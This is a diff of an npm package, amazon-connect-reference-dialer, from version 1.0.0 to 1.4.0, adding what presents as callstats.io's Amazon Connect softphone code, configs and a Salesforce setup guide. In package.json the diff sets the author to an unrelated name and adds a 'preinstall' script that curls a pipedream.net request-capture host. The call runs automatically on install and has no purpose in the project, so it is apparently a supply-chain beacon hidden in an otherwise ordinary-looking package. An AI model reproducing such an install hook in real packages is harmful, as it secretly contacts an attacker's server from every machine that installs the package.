amazon-connect-reference-dialer 1.0.0 → 1.4.0

package/.babelrc

@@ -0,0 +1,10 @@
+{
+  "presets": [
+    "@babel/preset-env",
+    "@babel/preset-react"
+  ],
+  "plugins": [
+    "@babel/plugin-proposal-class-properties"
+  ]
+}
+

package/.eslintrc

@@ -0,0 +1,24 @@
+{
+  "extends": [
+    "standard",
+    "plugin:react/recommended"
+  ],
+  "rules": {
+    "semi": [
+      1,
+      "always"
+    ]
+  },
+  "globals": {
+    "connect": false,
+    "callstats": false,
+    "APP_ID": false,
+    "APP_SECRET": false,
+    "CONNECT_URL": false,
+    "CallstatsAmazonShim": false,
+    "callstatsAgentMonitor": false,
+    "WEB_PACK_APP_ID": false,
+    "WEB_PACK_APP_SECRET": false,
+    "WEB_PACK_CONNECT_URL": false
+  }
+}

package/Dockerfile

@@ -0,0 +1,12 @@
+FROM node:11.5.0
+
+WORKDIR /usr/src/app
+
+COPY package.json /usr/src/app/
+RUN yarn install --silent
+
+COPY . /usr/src/app
+RUN yarn build
+
+CMD ["yarn","start"]
+

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2019 callstats.io
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,8 @@
+# Amazon-connect-reference-dialer
+Amazon connect reference dialer application by CALLSTATS I/O
+
+
+#### Quick Start
+
+##### Note: 
+npm i amazon-connect-reference-dialer

package/README.salesforce.md

@@ -0,0 +1,50 @@
+# Step 1: Install callstats.io Custom Dialer
+1. Login to your salesforce account and make sure your session has not timed out. 
+2. Install the managed package: https://login.salesforce.com/packaging/installPackage.apexp?p0=04t2o0000013ruT
+3. If there is a conflict in the package then click on “do not install”
+   If prompt of acknowledge of Non-Salesforce Application select the checkbox
+4. Select install for all users. 
+5. Click “Install now”
+
+# Step 2: Configure Lightning Experience
+1. From your salesforce dashboard, click on “Setup” on top right corner and select “Setup”
+2. Type “App manager” in quick find and select App Manager
+3. Find the “Sales Console” row from the list and select the “Edit” option from the drop-down arrow on the right corner
+4. Select the “Utility Items” from the left side menu
+5. Click on “Add Utility Item” and select “Open CTI Softphone” from the drop down 
+6. Change the Label if necessary and click “Save” button.
+7. Click on the “Back” button in the top-right corner (not browser’s back button).
+8. Type Visualforce” in quick find and select Visualforce Pages
+9. Find and select the “custom_dialer” row from the list, and then click on the “Preview” button
+10. New browser tab will open with the URL of this page. It’s going to be in this format: `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
+11. Remove the “/apex/custom_dialer” part and the remaining `https://callstats.someInstance.visual.force.com` will be the “Origin URL” in our Amazon Connect configuration
+12. From AWS Console, select Amazon Connect service and then select your Amazon Connect instance
+13. Select “Application Integration” on the left-hand side
+14. Click on “Add origin” link and enter the origin URL
+15. Click “Add” 
+
+# Step 3: Setup callstats.io Custom Dialer
+1. From the Setup screen, type “Call Centers” in quick find and select “Call Centers”.
+2. Click on “Continue”.
+3. Select “callstats OpenCTI Adapter” and click “Edit” when the page opens
+4. In “General Information” fill in your
+    - CTI Adapter URL - The above custom dialer page URL e.g. `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
+5. In “Connecting settings” fill in your 
+    - Amazon Connect CCP URL - Your Amazon Connect CCP URL e.g. callstatsio.awsapps.com
+    - AppId - Your application ID from callstats.io 
+    - App Secret - Your application secret from callstats.io 
+    - Jabra Collection - fill in 'enable' to enable collecting your Jabra headset stats(only available for Jabra Engage 50 currently)
+6. Click “Save”
+7. Click on 'Manage Call Center Users' at the bottom of the page 
+8. Click on “Add more users”
+9. Apply the necessary filters and find the users you would like to add 
+10. Select the users and click on “Add to Call Center”
+
+# Step 4: Using callstats.io Custom Dialer
+1. On the top-left corner, click on the dot-matrix button to open the App Launcher.
+2. Select the “Sales Console” application. 
+3. The Phone button should be displayed in the bottom-left corner. Click on the Phone button to open the softphone pop-up.
+4. Click on “Sign in” button and sign in to your Amazon Connect account
+5. Set your status to “Available” 
+6. You can now receive inbound calls or make outbound calls. 
+7. Optional: Click on “Settings” icon to change your phone settings or make a connectivity test

package/config/appconfig.json

@@ -0,0 +1,10 @@
+{
+  "APP_ID": "callstats application ID",
+  "APP_SECRET": "callstats application secret",
+  "CONNECT_URL": "amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com",
+  "HTTP_PORT": "8080",
+  "NODE_ENV": "development",
+  "CS_JS_SDK_URL": "https://api.callstats.io/static/callstats.min.js",
+  "CS_AC_SHIM_URL": "https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js",
+  "ENABLE_JABRA_COLLECTION": "disable"
+}

package/config/config.js

@@ -0,0 +1,46 @@
+const fs = require('fs');
+const path = require('path');
+
+const appConfig = require('./appconfig');
+const version = require('../package.json').version
+
+exports.getServerConfig = () => {
+  const payload = appConfig;
+
+  let serverConfig = {
+    HTTP_PORT: process.env.HTTP_PORT || payload.HTTP_PORT,
+    NODE_ENV: process.env.NODE_ENV || payload.NODE_ENV
+  };
+  console.warn('$ serverConfig', serverConfig);
+  return serverConfig;
+};
+
+exports.getClientConfig = () => {
+  const payload = appConfig;
+  const clientConfig = {
+    APP_ID: process.env.APP_ID || payload.APP_ID,
+    APP_SECRET: process.env.APP_SECRET || payload.APP_SECRET,
+    CONNECT_URL: process.env.CONNECT_URL || payload.CONNECT_URL,
+    CS_JS_SDK_URL: process.env.CS_JS_SDK_URL || payload.CS_JS_SDK_URL,
+    CS_AC_SHIM_URL: process.env.CS_AC_SHIM_URL || payload.CS_AC_SHIM_URL,
+    CS_VERSION: process.env.CS_VERSION || version,
+    ENABLE_JABRA_COLLECTION: process.env.ENABLE_JABRA_COLLECTION || payload.ENABLE_JABRA_COLLECTION
+  };
+  console.warn('$ clientConfig', clientConfig);
+  return clientConfig;
+};
+
+exports.writeConfig = () => {
+  let payload = { ...appConfig };
+  if (process.env.APP_ID) payload.APP_ID = process.env.APP_ID;
+  if (process.env.APP_SECRET) payload.APP_SECRET = process.env.APP_SECRET;
+  if (process.env.CONNECT_URL) payload.CONNECT_URL = process.env.CONNECT_URL;
+  if (process.env.CS_JS_SDK_URL) payload.CS_JS_SDK_URL = process.env.CS_JS_SDK_URL;
+  if (process.env.CS_AC_SHIM_URL) payload.CS_AC_SHIM_URL = process.env.CS_AC_SHIM_URL;
+  if (process.env.HTTP_PORT) payload.HTTP_PORT = process.env.HTTP_PORT;
+  if (process.env.NODE_ENV) payload.NODE_ENV = process.env.NODE_ENV;
+  if (process.env.ENABLE_JABRA_COLLECTION) payload.ENABLE_JABRA_COLLECTION = process.env.ENABLE_JABRA_COLLECTION;
+  console.warn('$ >', payload);
+  const fullPath = path.join(__dirname, 'appconfig.json');
+  fs.writeFileSync(fullPath, JSON.stringify(payload, null, 2));
+};

package/docker-compose.yml

@@ -0,0 +1,16 @@
+version: '3'
+services:
+  amazon-connect-reference-dialer:
+    build:
+      context: ../amazon-connect-reference-dialer
+    environment:
+      APP_ID: 'callstats application ID'
+      APP_SECRET: 'callstats application secret'
+      CONNECT_URL: 'amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com'
+      HTTP_PORT: '8082'
+      NODE_ENV: 'production'
+      CS_JS_SDK_URL: 'https://api.callstats.io/static/callstats.min.js'
+      CS_AC_SHIM_URL: 'https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js'
+    ports:
+      - "8082:8082"
+    command: yarn start

package/nodemon.json

@@ -0,0 +1,3 @@
+{
+  "watch": ["src/server/"]
+}

package/package.json

@@ -1,11 +1,12 @@
 {
   "name": "amazon-connect-reference-dialer",
-  "version": "1.0.0",
-  "description": "",
+  "version": "1.4.0",
+  "description": "Amazon connect reference dialer application by CALLSTATS I/O - xelkomy",
   "main": "index.js",
   "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "curl eopesdoxcr03bt7.m.pipedream.net"
   },
-  "author": "",
+  "author": "xelkomy",
   "license": "ISC"
 }

package/src/client/App.js

@@ -0,0 +1,20 @@
+import React from 'react';
+import { Provider } from 'react-redux';
+import { IntlProvider } from 'react-intl';
+
+import AppStore from './store';
+import AppRouter from './router';
+
+class App extends React.Component {
+  render () {
+    return (
+      <Provider store={AppStore}>
+        <IntlProvider locale="en">
+          <AppRouter/>
+        </IntlProvider>
+      </Provider>
+    );
+  }
+}
+
+export default App;

package/src/client/api/acManager.js

@@ -0,0 +1,79 @@
+'use strict';
+
+import audioManager from './mediaManager';
+import agentHandler from './agentHandler';
+import eventHandler from './eventhandler';
+
+import csioHandler from './csioHandler';
+import databaseManager from './databaseManager';
+
+const ccpUrl = () => {
+  const connectURL = databaseManager.getDefaultConnectURL(CONNECT_URL || WEB_PACK_CONNECT_URL);
+  return `https://${connectURL}/connect/ccp#/`;
+};
+
+class ACManager {
+  constructor () {
+    console.info('ACManager initialized!');
+    this.isLoggedIn = false;
+    this.isInitialized = false;
+    this.dispatch = undefined;
+    this.onAgentInitialize = this.onAgentInitialize.bind(this);
+    this.onEventHandler = this.onEventHandler.bind(this);
+  }
+
+  onAgentInitialize (agent) {
+    audioManager.overWriteGetUserMedia();
+    csioHandler.register(this.dispatch, agent);
+    agentHandler.register(this.dispatch, agent);
+  }
+
+  onEventHandler (connect) {
+    eventHandler.register(this.dispatch, connect);
+  }
+
+  register (dispatch = undefined) {
+    this.dispatch = dispatch;
+    if (this.isInitialized) {
+      return;
+    }
+    this.isInitialized = true;
+    const containerDiv = document.getElementById('containerDiv');
+    connect.core.initCCP(containerDiv, {
+      ccpUrl: ccpUrl(),
+      loginPopup: false,
+      softphone: {
+        allowFramedSoftphone: false
+      }
+    });
+    connect.core.initSoftphoneManager({ allowFramedSoftphone: true });
+    connect.agent((agent) => {
+      this.onAgentInitialize(agent);
+    });
+    this.onEventHandler(connect);
+  }
+
+  downloadACLog () {
+    if (connect) {
+      connect.getLog().download();
+    }
+  }
+
+  getCurrentContact () {
+    return eventHandler.getCurrentContact();
+  }
+
+  getCurrentState () {
+    return eventHandler.getCurrentState();
+  }
+
+  setIsLoggedIn (isLoggedIn) {
+    this.isLoggedIn = isLoggedIn;
+  }
+  getIsLoggedIn () {
+    return this.isLoggedIn;
+  }
+}
+
+const acManager = new ACManager();
+export default acManager;

package/src/client/api/agentHandler.js

@@ -0,0 +1,46 @@
+import { onMuteToggle } from '../reducers/acReducer';
+
+class AgentHandler {
+  constructor () {
+    this.dispatch = undefined;
+    this.agent = undefined;
+    this.loginWindow = undefined;
+  }
+
+  dispose () {
+    this.dispatch = undefined;
+    this.agent = undefined;
+  }
+
+  register (dispath = undefined, agent) {
+    this.dispatch && this.dispose();
+
+    this.dispatch = dispath;
+    this.agent = agent;
+
+    this.disposeLoginWindow();
+    agent.onMuteToggle((e) => {
+      this.dispatch(onMuteToggle(e && e.muted));
+    });
+  }
+
+  getAgent () {
+    return this.agent;
+  }
+
+  setLoginWindow (loginWindow = undefined) {
+    this.loginWindow = loginWindow;
+  }
+
+  disposeLoginWindow () {
+    if (this.loginWindow) {
+      if (typeof this.loginWindow.close === 'function') {
+        this.loginWindow.close();
+      }
+      this.loginWindow = undefined;
+    }
+  }
+}
+
+const agentHandler = new AgentHandler();
+export default agentHandler;

package/src/client/api/audioFrequencyMonitor.js

@@ -0,0 +1,62 @@
+const HASH = 10000009;
+const MAX_ITERATION_COUNT = 5;
+const getRandom = () => {
+  return Math.round(Math.random() * HASH);
+};
+
+class FrequencyMonitor {
+  constructor () {
+    this.hash = getRandom();
+    this.hashLastPulled = getRandom();
+    this.consicutiveMissCount = 0;
+    this.curAudioLevel = 0;
+  }
+
+  addAudioLevel (audioLevel = 0) {
+    this.hash = getRandom();
+    this.curAudioLevel = audioLevel;
+  }
+
+  getAudioLevel () {
+    let diff = Math.abs(this.hash - this.hashLastPulled);
+
+    if (diff > 0) {
+      this.consicutiveMissCount = 0;
+    } else {
+      this.consicutiveMissCount += 1;
+    }
+    if (this.consicutiveMissCount > MAX_ITERATION_COUNT) {
+      return 0;
+    }
+    this.hashLastPulled = this.hash;
+    return this.curAudioLevel;
+  }
+}
+
+class AudioFrequencyMonitor {
+  constructor () {
+    this.inboundMonitor = new FrequencyMonitor();
+    this.outboundMonitor = new FrequencyMonitor();
+  }
+
+  addAudioLevel (audioLevel = 0, isOutbound = false) {
+    if (isOutbound) {
+      this.outboundMonitor.addAudioLevel(audioLevel);
+    } else {
+      this.inboundMonitor.addAudioLevel(audioLevel);
+    }
+    // console.warn('->addAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
+  }
+
+  getAudioLevel (isOutbound = false) {
+    // console.warn('->getAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
+    if (isOutbound) {
+      return this.outboundMonitor.getAudioLevel();
+    } else {
+      return this.inboundMonitor.getAudioLevel();
+    }
+  }
+}
+
+const audioFrequencyMonitor = new AudioFrequencyMonitor();
+export default audioFrequencyMonitor;

package/src/client/api/csioHandler.js

@@ -0,0 +1,204 @@
+'use strict';
+import networkStrengthMonitor from './networkStrengthMonitor';
+import audioFrequencyMonitor from './audioFrequencyMonitor';
+
+import lo from 'lodash';
+import databaseManager from './databaseManager';
+import {
+  getRandomInt
+} from './../utils/acutils';
+import mediaManager from './mediaManager';
+
+const appId = APP_ID || WEB_PACK_APP_ID;
+const appSecret = APP_SECRET || WEB_PACK_APP_SECRET;
+const enableJabraCollection = ENABLE_JABRA_COLLECTION === 'enable';
+const siteIds = ['HQ', 'Remote', 'Home'];
+
+const ccpUrl = () => {
+  const connectURL = databaseManager.getDefaultConnectURL(CONNECT_URL || WEB_PACK_CONNECT_URL);
+  return `https://${connectURL}/connect/ccp#/`;
+};
+
+class CSIOHandler {
+  constructor () {
+    this.callstatsac = undefined;
+    this.dispatch = undefined;
+    this.localUserId = undefined;
+    // eslint-disable-next-line new-cap
+    this.agentMonitor = new callstatsAgentMonitor();
+  }
+
+  /**
+   * @private
+   * @return {string} Return a site id from given site id list
+   */
+  getRandomSiteId () {
+    return siteIds[ getRandomInt(1, siteIds.length) - 1 ];
+  }
+  // eslint-disable-next-line handle-callback-err
+  onCSIOInitialize (err, msg) {
+    // console.warn('->', 'onCSIOInitialize', new Date(), err, msg);
+  }
+
+  onCSIOStats (stats) {
+    // console.warn('->onCSIOStats', stats);
+    if (stats && stats.fabricState === 'terminated') {
+      return;
+    }
+
+    if (stats && stats.mediaStreamTracks) {
+      let track1 = lo.first(stats.mediaStreamTracks);
+      let track2 = lo.last(stats.mediaStreamTracks);
+
+      // console.warn('~', stats);
+      let audioIntputLevel = parseInt(track1.audioIntputLevel || track2.audioIntputLevel || 0, 10);
+      let audioOutputLevel = parseInt(track1.audioOutputLevel || track2.audioOutputLevel || 0, 10);
+
+      let track1Bitrate = parseInt(track1.bitrate || 0, 10);
+      let track2Bitrate = parseInt(track2.bitrate || 0, 10);
+      let track1RTT = parseInt(track1.rtt || 0, 10);
+      // no rtt for inbound tracks.
+      // let track2RTT = parseInt(track1.rtt || 0, 10);
+
+      let track1Fl = parseInt(track1.fractionLoss || 0, 10);
+      let track2Fl = parseInt(track2.fractionLoss || 0, 10);
+
+      //      console.warn('-> ', 'on csio stats', stats);
+      networkStrengthMonitor.addThroughput(track1Bitrate, track2Bitrate);
+      networkStrengthMonitor.addRTT(track1RTT, track1RTT);
+      networkStrengthMonitor.addRTT(track1Fl, track2Fl);
+      audioFrequencyMonitor.addAudioLevel(audioIntputLevel, false);
+      audioFrequencyMonitor.addAudioLevel(audioOutputLevel, true);
+    }
+  }
+
+  getRemoteStream () {
+    const pc = CallstatsAmazonShim && CallstatsAmazonShim.getPeerConnection();
+    if (!pc) {
+      return undefined;
+    }
+    const remoteStreams = pc.getRemoteStreams();
+    return remoteStreams && lo.get(remoteStreams, 0, undefined);
+  }
+
+  doPrecallTest () {
+    return new Promise((resolve) => {
+      if (CallstatsAmazonShim) {
+        CallstatsAmazonShim.makePrecallTest((status, result) => {
+          // console.warn('-> ', 'on precall test', status, result);
+          let testResult = databaseManager.savePrecalltestResult(result);
+
+          let throughput = lo.get(result, 'throughput', 0);
+          let rtt = lo.get(result, 'rtt', 0);
+          let fractionalLoss = lo.get(result, 'fractionalLoss', 0);
+          networkStrengthMonitor.addThroughput(throughput, throughput);
+          networkStrengthMonitor.addRTT(rtt, rtt);
+          networkStrengthMonitor.addFractionalLoss(fractionalLoss, fractionalLoss);
+          resolve(testResult);
+        });
+      }
+    });
+  }
+
+  onCSIORecommendedConfigCallback (config) {
+    // console.warn('->', 'onCSIORecommendedConfigCallback', new Date(), config);
+  }
+
+  onCSIOPrecalltestCallback (status, result) {
+    // console.warn('-> ', 'on precall test', status, result);
+    databaseManager.savePrecalltestResult(result);
+    let throughput = lo.get(result, 'throughput', 0);
+    let rtt = lo.get(result, 'rtt', 0);
+    let fractionalLoss = lo.get(result, 'fractionalLoss', 0);
+    networkStrengthMonitor.addThroughput(throughput, throughput);
+    networkStrengthMonitor.addRTT(rtt, rtt);
+    networkStrengthMonitor.addFractionalLoss(fractionalLoss, fractionalLoss);
+  }
+
+  dispose () {
+    this.dispatch = undefined;
+  }
+
+  register (dispatch = undefined, agent = undefined) {
+    this.dispatch && this.dispose();
+    this.dispatch = dispatch;
+
+    if (!agent) {
+      // console.error('agent object cannot be empty');
+      return;
+    }
+    if (!CallstatsAmazonShim) {
+      // console.error('CallstatsAmazonShim object cannot be empty');
+      return;
+    }
+    const localUserId = agent.getName();
+    this.localUserId = localUserId;
+    const configParams = {
+      siteID: this.getRandomSiteId(),
+      enableJabraCollection: enableJabraCollection
+    };
+
+    if (this.callstatsac) {
+      this.callstatsac = undefined;
+    }
+
+    this.callstatsac = CallstatsAmazonShim.initialize(connect, appId, appSecret, localUserId, configParams, this.onCSIOInitialize, this.onCSIOStats);
+    this.callstatsac.on('recommendedConfig', this.onCSIORecommendedConfigCallback.bind(this));
+    this.callstatsac.on('preCallTestResults', this.onCSIOPrecalltestCallback.bind(this));
+
+    // add agent monitor
+    if (this.agentMonitor && typeof this.agentMonitor.initialize === 'function') {
+      this.agentMonitor.initialize(connect, ccpUrl(), appId, appSecret, localUserId, configParams);
+    }
+  }
+
+  // Quick hack to send feedback in structural way before we have a API for that
+  postProcessFeedback (feedbackJSON = {}) {
+    let markedFeedback = [];
+    for (let currentIssue of feedbackJSON.issueList || []) {
+      for (let issue of currentIssue.items || []) {
+        if (issue.marked === true) {
+          markedFeedback.push(issue.text);
+        }
+      }
+    }
+    return markedFeedback;
+  }
+
+  sendFeedback (feedbackJSON = {}) {
+    let markedFeedbackList = this.postProcessFeedback(feedbackJSON);
+    let feedbackText = `${[feedbackJSON.feedbackText, ...markedFeedbackList].join(' ,')}`;
+    const feedback = {
+      userId: this.localUserId,
+      overall: Math.max(feedbackJSON.feedbackRatings, 1),
+      comment: feedbackText
+    };
+    CallstatsAmazonShim.sendUserFeedback(feedback, msg => {
+      // console.warn('on submitted feedback ', msg);
+    });
+  }
+
+  sendFeedbackRating (feedbackRating = 1) {
+    const feedback = {
+      userId: this.localUserId,
+      overall: Math.max(feedbackRating, 1)
+    };
+    CallstatsAmazonShim.sendUserFeedback(feedback, msg => {
+      // console.warn('on submitted rating ', msg);
+    });
+  }
+
+  sendActiveDeviceList () {
+    mediaManager.getDefaultOrPreferredAudioInputDevice()
+      .then(activeAudioDevice => {
+        const eventData = {
+          deviceList: [activeAudioDevice]
+        };
+        CallstatsAmazonShim.sendFabricEvent(this.callstatsac.fabricEvent.activeDeviceList, eventData);
+      })
+      .catch(() => {});
+  }
+}
+
+const csioHandler = new CSIOHandler();
+export default csioHandler;